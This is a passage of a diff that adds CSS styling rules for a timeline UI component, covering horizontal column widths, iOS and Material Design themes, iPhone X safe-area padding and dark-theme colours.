+.timeline-horizontal.col-45 .timeline-item { + width: 45vw; +} +.timeline-horizontal.col-40 .timeline-item { + width: 40vw; +} +.timeline-horizontal.col-35 .timeline-item { + width: 35vw; +} +.timeline-horizontal.col-33 .timeline-item { + width: 33.333333333333336vw; +} +.timeline-horizontal.col-30 .timeline-item { + width: 30vw; +} +.timeline-horizontal.col-25 .timeline-item { + width: 25vw; +} +.timeline-horizontal.col-20 .timeline-item { + width: 20vw; +} +.timeline-horizontal.col-15 .timeline-item { + width: 15vw; +} +.timeline-horizontal.col-10 .timeline-item { + width: 10vw; +} +.timeline-horizontal.col-5 .timeline-item { + width: 5vw; +} +@media (min-width: 768px) { + .timeline-horizontal.tablet-100 .timeline-item { + width: 100vw; + } + .timeline-horizontal.tablet-95 .timeline-item { + width: 95vw; + } + .timeline-horizontal.tablet-90 .timeline-item { + width: 90vw; + } + .timeline-horizontal.tablet-85 .timeline-item { + width: 85vw; + } + .timeline-horizontal.tablet-80 .timeline-item { + width: 80vw; + } + .timeline-horizontal.tablet-75 .timeline-item { + width: 75vw; + } + .timeline-horizontal.tablet-70 .timeline-item { + width: 70vw; + } + .timeline-horizontal.tablet-66 .timeline-item { + width: 66.66666666666666vw; + } + .timeline-horizontal.tablet-65 .timeline-item { + width: 65vw; + } + .timeline-horizontal.tablet-60 .timeline-item { + width: 60vw; + } + .timeline-horizontal.tablet-55 .timeline-item { + width: 55vw; + } + .timeline-horizontal.tablet-50 .timeline-item { + width: 50vw; + } + .timeline-horizontal.tablet-45 .timeline-item { + width: 45vw; + } + .timeline-horizontal.tablet-40 .timeline-item { + width: 40vw; + } + .timeline-horizontal.tablet-35 .timeline-item { + width: 35vw; + } + .timeline-horizontal.tablet-33 .timeline-item { + width: 33.333333333333336vw; + } + .timeline-horizontal.tablet-30 .timeline-item { + width: 30vw; + } + .timeline-horizontal.tablet-25 .timeline-item { + width: 25vw; + } + .timeline-horizontal.tablet-20 .timeline-item { + width: 20vw; + } + .timeline-horizontal.tablet-15 .timeline-item { + width: 15vw; + } + .timeline-horizontal.tablet-10 .timeline-item { + width: 10vw; + } + .timeline-horizontal.tablet-5 .timeline-item { + width: 5vw; + } +} +.timeline-horizontal .timeline-year, +.timeline-horizontal .timeline-month { + display: -webkit-box; + display: -webkit-flex; + display: -ms-flexbox; + display: flex; + -webkit-flex-shrink: 0; + -ms-flex-negative: 0; + flex-shrink: 0; + padding-top: 24px; + position: relative; + -webkit-box-sizing: border-box; + box-sizing: border-box; + height: 100%; +} +.timeline-horizontal .timeline-year-title, +.timeline-horizontal .timeline-month-title { + position: absolute; + left: 0; + top: 0; + width: 100%; + line-height: 24px; + height: 24px; + -webkit-box-sizing: border-box; + box-sizing: border-box; +} +.timeline-horizontal .timeline-year-title span, +.timeline-horizontal .timeline-month-title span { + display: inline-block; + position: -webkit-sticky; + position: sticky; +} +.timeline-horizontal .timeline-year-title { + font-size: 16px; +} +.timeline-horizontal .timeline-month-title span { + margin-top: -2px; +} +/* === Timeline iOS === */ +.ios .timeline { + margin: 35px 0; + padding: 0 15px; +} +.ios .block-strong .timeline { + padding: 0; + margin: 0; +} +.ios .timeline-item { + padding: 2px 0px 15px; +} +.ios .timeline-item:last-child { + padding-bottom: 2px; +} +.ios .timeline-item-content .card, +.ios .timeline-item-content.card, +.ios .timeline-item-content .list, +.ios .timeline-item-content.list, +.ios .timeline-item-content .block, +.ios .timeline-item-content.block { + margin: 0; + width: 100%; +} +.ios .timeline-item-content .card + .card, +.ios .timeline-item-content .list + .card, +.ios .timeline-item-content .block + .card, +.ios .timeline-item-content .card + .list, +.ios .timeline-item-content .list + .list, +.ios .timeline-item-content .block + .list, +.ios .timeline-item-content .card + .block, +.ios .timeline-item-content .list + .block, +.ios .timeline-item-content .block + .block { + margin: 15px 0 0; +} +.ios .timeline-item-inner { + border-radius: 7px; + padding: 8px 15px; +} +.ios .timeline-item-inner + .timeline-item-inner { + margin-top: 15px; +} +.ios .block-strong .timeline-item-inner { + border-radius: 3px; + border: 1px solid rgba(0, 0, 0, 0.1); +} +.ios .timeline-item-divider { + margin-left: 15px; + margin-right: 15px; +} +.ios .timeline-item-time { + margin-top: 15px; + color: #6d6d72; +} +.ios .timeline-item-time:first-child, +.ios .timeline-item-time:last-child { + margin-top: 0; +} +.ios .timeline-item-title { + font-size: 17px; + font-weight: 600; +} +.ios .timeline-item-subtitle { + font-size: 15px; +} +.ios .timeline-sides .timeline-item { + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; +} +.ios .timeline-sides .timeline-item .timeline-item-date { + text-align: right; +} +.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; +} +.ios .timeline-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: left; +} +.ios .timeline-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; +} +.ios .timeline-sides .timeline-item-left .timeline-item-date { + text-align: left; +} +.ios .timeline-sides .timeline-item-right { + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; +} +.ios .timeline-sides .timeline-item-right .timeline-item-date { + text-align: right; +} +@media (min-width: 768px) { + .ios .tablet-sides .timeline-item { + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; + } + .ios .tablet-sides .timeline-item .timeline-item-date { + text-align: right; + } + .ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; + } + .ios .tablet-sides .timeline-item:not(.timeline-item-right):nth-child(2n) .timeline-item-date { + text-align: left; + } + .ios .tablet-sides .timeline-item-left { + -webkit-box-orient: horizontal; + -webkit-box-direction: reverse; + -webkit-flex-direction: row-reverse; + -ms-flex-direction: row-reverse; + flex-direction: row-reverse; + margin-right: calc(50% - (30px + 10px) / 2 - 50px); + margin-left: 0; + } + .ios .tablet-sides .timeline-item-left .timeline-item-date { + text-align: left; + } + .ios .tablet-sides .timeline-item-right { + margin-left: calc(50% - (30px + 10px) / 2 - 50px); + margin-right: 0; + } + .ios .tablet-sides .timeline-item-right .timeline-item-date { + text-align: right; + } +} +.ios .timeline-horizontal { + padding: 0; + margin: 0; +} +.ios .timeline-horizontal .timeline-item { + padding-top: 34px !important; + padding-bottom: 10px; +} +.ios .timeline-horizontal > .timeline-item:last-child:after, +.ios .timeline-horizontal .timeline-month:last-child .timeline-item:last-child:after { + display: none !important; +} +.ios .timeline-horizontal .timeline-item-date { + background: #f7f7f8; + padding: 0px 10px; +} +.ios .timeline-horizontal .timeline-item-content { + padding: 10px; + height: calc(100% - 10px); +} +.ios .timeline-horizontal .timeline-item-date:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: auto; + right: auto; + bottom: 0; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 100%; + transform-origin: 50% 100%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item-date:after { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item-date:after { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .timeline-horizontal .timeline-month .timeline-item:before { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: auto; + bottom: auto; + left: 0; + height: 1px; + width: 100%; + -webkit-transform-origin: 50% 0%; + transform-origin: 50% 0%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-month .timeline-item:before { + -webkit-transform: scaleY(0.5); + transform: scaleY(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-month .timeline-item:before { + -webkit-transform: scaleY(0.33); + transform: scaleY(0.33); +} +.ios .timeline-horizontal .timeline-item:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-item:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .timeline-horizontal .timeline-year:after { + content: ''; + position: absolute; + background-color: #c4c4c4; + display: block; + z-index: 15; + top: 0; + right: 0; + bottom: auto; + left: auto; + width: 1px; + height: 100%; + -webkit-transform-origin: 100% 50%; + transform-origin: 100% 50%; +} +.ios.device-pixel-ratio-2 .timeline-horizontal .timeline-year:after { + -webkit-transform: scaleX(0.5); + transform: scaleX(0.5); +} +.ios.device-pixel-ratio-3 .timeline-horizontal .timeline-year:after { + -webkit-transform: scaleX(0.33); + transform: scaleX(0.33); +} +.ios .timeline-year:last-child:after { + display: none !important; +} +.ios .timeline-year-title, +.ios .timeline-month-title { + padding: 0 10px; + background: #f7f7f8; +} +.ios .timeline-year-title span, +.ios .timeline-month-title span { + left: 10px; +} +.ios .timeline-year-title span { + margin-top: 3px; +} +@media (orientation: landscape) { + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge), + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) { + padding-left: constant(safe-area-inset-left); + padding-left: env(safe-area-inset-left); + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year-title span, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-month-title span { + left: calc(10px + constant(safe-area-inset-left)); + left: calc(10px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-month-title, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title { + left: -44px; + right: 0; + width: auto; + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item { + overflow: visible; + } + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) > .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-month:first-child .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-item:first-child .timeline-item-date, + .ios.device-iphone-x .ios-left-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date, + .ios.device-iphone-x .panel-left .timeline-horizontal:not(.no-ios-edges):not(.no-ios-left-edge) .timeline-year:first-child .timeline-year-title + .timeline-month .timeline-month-title + .timeline-item .timeline-item-date { + width: auto; + padding-left: calc(10px + constant(safe-area-inset-left)); + padding-left: calc(10px + env(safe-area-inset-left)); + left: calc(0px - constant(safe-area-inset-left)); + left: calc(0px - env(safe-area-inset-left)); + right: 0; + } + .ios.device-iphone-x .ios-left-edge .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal), + .ios.device-iphone-x .panel-left .timeline:not(.no-ios-edges):not(.no-ios-left-edge):not(.timeline-horizontal) { + padding-left: calc(15px + constant(safe-area-inset-left)); + padding-left: calc(15px + env(safe-area-inset-left)); + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-year-title, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-month-title { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child { + overflow: visible; + } + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) > .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-right-edge .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .ios-edges .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .popup .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .sheet-modal .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date, + .ios.device-iphone-x .panel-right .timeline-horizontal:not(.no-ios-edges):not(.no-ios-right-edge) .timeline-year:last-child .timeline-month:last-child .timeline-item:last-child .timeline-item-date { + width: auto; + right: calc(0px - constant(safe-area-inset-right)); + right: calc(0px - env(safe-area-inset-right)); + left: 0; + } + .ios.device-iphone-x .ios-right-edge .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .ios-edges .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .popup .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .sheet-modal .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal), + .ios.device-iphone-x .panel-right .timeline:not(.no-ios-edges):not(.no-ios-right-edge):not(.timeline-horizontal) { + padding-right: calc(15px + constant(safe-area-inset-right)); + padding-right: calc(15px + env(safe-area-inset-right)); + } +} +.ios .theme-dark .timeline-year-title, +.ios .theme-dark .timeline-month-title { + background: #1b1b1b; +} +.ios .theme-dark .timeline-item-inner { + background-color: #1c1c1d; +} +.ios .theme-dark .timeline-item-time { + color: #8E8E93; +} +.ios .theme-dark .timeline-horizontal .timeline-item-date, +.timeline-horizontal.ios .theme-dark .timeline-item-date { + background: #1b1b1b; +} +.ios .theme-dark .timeline-horizontal .timeline-item-date:after, +.timeline-horizontal.ios .theme-dark .timeline-item-date:after { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-month .timeline-item:before, +.timeline-horizontal.ios .theme-dark .timeline-month .timeline-item:before { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-item:after, +.timeline-horizontal.ios .theme-dark .timeline-item:after { + background-color: #282829; +} +.ios .theme-dark .timeline-horizontal .timeline-year:after, +.timeline-horizontal.ios .theme-dark .timeline-year:after { + background-color: #282829; +} +/* === Timeline MD === */ +.md .timeline { + margin: 32px 0; + padding: 0 16px; +} +.md .block-strong .timeline { + padding: 0; + margin: 0; +} +.md .timeline-item { + padding: 2px 0px 16px; +} +.md .timeline-item:last-child { + padding-bottom: 2px; +} +.md .timeline-item-content .card, +.md .timeline-item-content.card, +.md .timeline-item-content .list, +.md .timeline-item-content.list, +.md .timeline-item-content .block, +.md .timeline-item-content.block { + margin: 0; + width: 100%; +} +.md .timeline-item-content .card + .card, +.md .timeline-item-content .list + .card, +.md .timeline-item-content .block + .card, +.md .timeline-item-content .card + .list, +.md .timeline-item-content .list + .list, +.md .timeline-item-content .block + .list, +.md .timeline-item-content .card + .block, +.md .timeline-item-content .list + .block, +.md .timeline-item-content .block + .block { + margin: 16px 0 0; +} +.md .timeline-item-inner { + border-radius: 2px; + padding: 8px 16px; + -webkit-box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); + box-shadow: 0 1px 3px rgba(0, 0, 0, 0.12), 0 1px 2px rgba(0, 0, 0, 0.24); +} +.md .timeline-item-inner + .timeline-item-inner { + margin-top: 16px; +} +.md .timeline-item-divider { + margin-left: 16px; + margin-right: 16px; +} +.md .timeline-item-time { + margin-top: 16px; + color: rgba(0, 0, 0, 0.54); +} +.md .timeline-item-time:first-child { + margin-top: 0; +} +.md .timeline-item-title { + font-size: 16px; +} +.md .timeline-sides .timeline-item { + margin-left: calc(50% - (32px + 10px) / 2 - 50px); + margin-right: 0; +} +.md .timeline-sides 